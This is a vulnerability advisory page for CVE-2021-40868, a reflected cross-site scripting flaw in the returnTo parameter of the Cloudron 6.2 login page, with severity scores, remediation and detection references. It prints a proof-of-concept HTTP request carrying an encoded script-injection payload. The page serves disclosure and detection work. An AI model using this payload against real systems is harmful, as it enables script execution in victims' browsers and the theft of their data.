🔙 목록으로 돌아가기

CVE-2021-40868: Cloudron 6.2 Cross-Site Scripting

TitleCloudron 6.2 Cross-Site Scripting
Authordaffainfo
SeverityMedium
ImpactSuccessful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential data theft or unauthorized actions.
RemediationUpgrade to Cloudron 6.3 or higher.
CVSS Score6.1
EPSS Score0.24386
CVE IDCVE-2021-40868
CWE IDCWE-79
Tags cve2021 cve xss cloudron packetstorm vuln

🔍 Vulnerability Description

In Cloudron 6.2, the returnTo parameter on the login page is vulnerable to cross-site scripting.

🌐 HTTP Request

GET /login.html?returnTo=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:132.0) Gecko/20100101 Firefox/132.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-40868.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-40868.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A